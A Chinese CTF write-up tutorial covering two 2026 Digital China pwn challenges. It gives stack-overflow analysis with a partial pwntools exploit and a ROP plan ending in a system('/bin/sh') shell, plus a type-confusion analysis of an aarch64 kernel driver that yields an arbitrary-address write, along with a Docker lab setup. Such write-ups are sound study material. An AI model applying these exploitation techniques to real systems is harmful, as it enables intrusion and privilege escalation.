2026数字中国pwn
字数 2373
更新时间 2026-04-16 13:01:00

2026数字中国PWN挑战赛Writeup详解教学文档

1. 前言

本文档基于2026年数字中国PWN挑战赛的两道题目(keep_stack和hkobj)的技术分析文章,详细解析其漏洞原理、利用思路和攻击链构建过程。旨在为二进制安全学习者提供详尽的技术参考。

2. PWN1:keep_stack

2.1 题目概述

这是一个栈溢出题目,涉及格式化字符串处理、变量覆盖和栈布局控制。

2.2 关键函数分析

2.2.1 prompt_and_echo_message函数

int prompt_and_echo_message()
{
    message_ctx_t ctx;           // 栈上分配的局部变量
    unsigned int unused_seed;    // 未使用的种子变量
    
    puts("length: ");
    __isoc99_scanf("%zu", &ctx.max_units);  // 读取最大单元数
    unused_seed = derive_seed_from_length(ctx.max_units);  // 派生种子(实际未使用)
    memset(&ctx, 0, 0x80u);      // 清零ctx结构体
    
    puts("What do you want to say? ");
    reset_write_index_and_xor_mode1(&ctx);  // 重置索引并异或模式
    xor_mode3(&ctx);             // 再次异或模式
    read_sparse_message(&ctx);   // 读取稀疏消息
    return printf("input: %s\n", ctx.text);  // 回显输入
}

2.2.2 重要约束条件

  1. 长度限制:ctx.max_units必须小于等于0x10(16)
  2. 结构体定义:
struct message_ctx {
    char text[128];      // 0x80字节
    size_t max_units;    // 偏移0x80
    size_t write_index;  // 偏移0x88
};  // 总大小0x90字节

2.3 漏洞点分析

2.3.1 栈溢出位置

read_sparse_message函数中存在关键写操作:

*(_WORD *)&ctx->text[write_stride * ctx->write_index++] = input_pair;

其中write_stride由全局变量g_sparse_stride_mode决定:

  • g_sparse_stride_mode == 2时,步长为4字节
  • 其他情况步长为2字节

2.3.2 溢出计算

结构体栈布局(从rbp开始):

rbp-A0h: text[128]      // 0x80字节
rbp-20h: max_units      // 8字节
rbp-18h: write_index    // 8字节
rbp-10h: 栈保护相关
rbp-8h:  保存的rbp
rbp+0:   返回地址

溢出路径分析:

  1. 初始text数组占据0x80字节
  2. write_index达到0x20时,使用2字节步长会覆盖到max_units字段
  3. 继续写入可覆盖write_index字段
  4. 最终可覆盖返回地址

2.4 利用策略

2.4.1 步长选择

  • 使用2字节步长进行更密集的覆盖
  • 避免使用4字节步长(过于稀疏,难以精细控制)

2.4.2 参数控制

需要设置max_units = 0x24,在write_index = 0x23时将其修改为0x29,绕过循环检查:

while (ctx->write_index < ctx->max_units)  // 需要维持此条件

2.4.3 两阶段攻击

  1. 第一阶段:通过第一次溢出修改返回地址,重新返回主函数
  2. 第二阶段:利用第二次机会完成完整的ROP链构建

2.5 利用代码关键片段

def pwn2(chain, ret_addr, wait_length=True):
    if wait_length:
        io.recvuntil(b'length: \n')
        io.sendline(b'66')
        io.recvuntil(b'What do you want to say? \n')
    
    for i in range(64):
        sd(b'aa')
    
    sd(p16(0x54 + (len(chain) + 1) * 4))
    sd(b'\x00\x00')
    sd(b'\x00\x00')
    sd(b'\x00\x00')
    sd(b'\x46\x00')
    
    for i in range(13):
        sd(b'\x00\x00')
    
    for x in chain + [ret_addr]:
        x = p64(x)
        sd(x[0:2])
        sd(x[2:4])
        sd(x[4:6])
        sd(x[6:8])

2.6 完整攻击流程

  1. 泄露libc地址:通过puts泄露GOT表
  2. 计算libc基址
  3. 构造system("/bin/sh")调用链
  4. 获取shell

3. PWN2:hkobj

3.1 题目概述

这是一个Linux内核驱动程序漏洞,运行在aarch64架构上,提供8字节任意地址写能力,但缺乏信息泄露点。

3.2 环境配置

3.2.1 Docker环境构建

FROM alpine
RUN apk add --no-cache qemu-system-aarch64 socat bash
WORKDIR /opt
COPY Image rootfs.cpio run.sh hkobj.ko start.sh ./
RUN mkdir /opt/org_rootfs && \ 
    cd /opt/org_rootfs && \
    cpio -idm < /opt/rootfs.cpio
RUN echo "flag{test_flag}" > /flag && chmod 400 /flag
EXPOSE 8888
ENTRYPOINT ["socat", "TCP-LISTEN:8888,reuseaddr,fork", "EXEC:/opt/run.sh,pty,raw,echo=0,stderr"]

3.2.2 启动命令

# 构建镜像
docker build -t hkojb .

# 运行容器
docker run --rm -it -p 8888:8888 hkojb

# 传输exp
(base64 -w0 exp.bin; printf '\nEOF\n') | nc 127.0.0.1 8888

3.3 驱动程序分析

3.3.1 数据结构

typedef struct hkobj_entry {
    char *buf;          // 8字节,指向内核堆缓冲区的指针
    unsigned long id;   // 8字节,对象ID
} hkobj_entry;

void *hkobj_array[6];   // 6个指针的数组,每个8字节

3.3.2 关键函数

do_alloc函数
static long do_alloc(void)
{
    char *buf = __kmalloc_cache_noprof(kmalloc_caches[3], 0xdc0, 8);
    
    if (!buf) return -12;           // ENOMEM
    if (index > 5) return -12;      // 越界检查
    
    // 类型混淆的关键:将void*数组当作hkobj_entry结构体访问
    ((hkobj_entry *)&hkobj_array[index])->buf = buf;
    ((hkobj_entry *)&hkobj_array[index])->id = user_payload.id;
    
    ret = __arch_copy_from_user(buf, user_payload.buf, 8);
    if (ret) {
        memset(buf + 8 - ret, 0, ret);
    }
    
    index += 2;  // 每次分配索引加2
    return 0;
}
do_write函数
static long do_write(void)
{
    for (int i = 0; i < 6; ++i) {
        if (((hkobj_entry *)&hkobj_array[i])->id == user_payload.id) {
            // 漏洞:将hkobj_array[i]直接作为目标地址写入
            ret = __arch_copy_from_user(hkobj_array[i], user_payload.buf, 8);
            return ret;
        }
    }
    return -2;  // ENODEV
}

3.4 漏洞原理

3.4.1 类型混淆

驱动程序错误地将void *hkobj_array[6]数组解释为hkobj_entry结构体数组。每次alloc操作实际上写入两个数组元素:

  • hkobj_array[index] 被写入缓冲区指针
  • hkobj_array[index+1] 被写入ID值

3.4.2 任意地址写机制

  1. 分配阶段:当index=4时进行第三次分配

    • 写入hkobj_array[4] = 分配的缓冲区地址
    • 写入hkobj_array[5] = 用户提供的ID
  2. 越界写:由于每次分配后index+=2,第三次分配会越界写到hkobj_array[5]之后的位置,正好是全局变量user_payload.buf

  3. 利用流程
    a. 通过第三次分配覆盖user_payload.buf为目标地址
    b. 通过do_write查找匹配的ID
    c. 当hkobj_array[i](即被覆盖的user_payload.buf)指向目标地址,且对应ID匹配时
    d. 执行__arch_copy_from_user(hkobj_array[i], user_payload.buf, 8),实现任意地址写

3.5 利用限制与挑战

3.5.1 主要限制

  1. 只有8字节任意地址写能力
  2. 缺乏任意地址读能力
  3. 无法直接泄露内核基址
  4. 开启了KASLR(内核地址空间布局随机化)

3.5.2 缓存限制

  • 只能从特定缓存分配:kmalloc_caches[3]
  • 最多分配3个对象(每次分配消耗2个数组槽位)
  • 没有UAF(Use-After-Free)漏洞
  • 无法进行cross-cache攻击

3.6 可能的利用思路

3.6.1 已知问题

题目提供了类似msg_msg的任意地址写原语,但由于缺乏信息泄露,难以构建完整的攻击。传统的内核利用通常需要:

  1. 泄露内核基址以绕过KASLR
  2. 泄露堆地址以构建稳定的利用链
  3. 提升权限或执行任意代码

3.6.2 未完成的挑战

文档作者表示未找到有效的泄露方法,因此虽然获得了强大的写原语,但无法完成完整的攻击链。这可能是题目设计的难点所在。

4. 总结与学习要点

4.1 PWN1关键点

  1. 栈布局的精确计算
  2. 结构体字段的覆盖控制
  3. 多阶段溢出攻击策略
  4. 利用循环条件维持控制流
  5. ROP链的构建与执行

4.2 PWN2关键点

  1. 内核驱动中的类型混淆漏洞
  2. 数组越界写全局变量
  3. 利用全局变量污染实现原语升级
  4. aarch64架构下的内核利用特殊性
  5. 无信息泄露情况下的利用挑战

4.3 通用技术要点

  1. 栈帧分析与溢出计算
  2. 结构体内存布局理解
  3. 多阶段攻击链构建
  4. 环境配置与调试技巧
  5. 漏洞原语的组合与升级

5. 扩展思考

  1. 在缺乏信息泄露的情况下,如何利用有限的写原语实现内核利用?
  2. 如何在内核中寻找或创造信息泄露机会?
  3. aarch64与x86-64架构在利用技术上的差异
  4. 如何防御此类类型混淆漏洞?

文档未详述此点,但基于我所掌握的知识:在实际的内核利用中,当只有写原语时,可能需要寻找可预测的内核数据结构,或利用竞态条件等其他漏洞组合完成利用。但在现代内核防护机制下,这类无信息泄露的利用变得越来越困难。

相似文章
相似文章
 全屏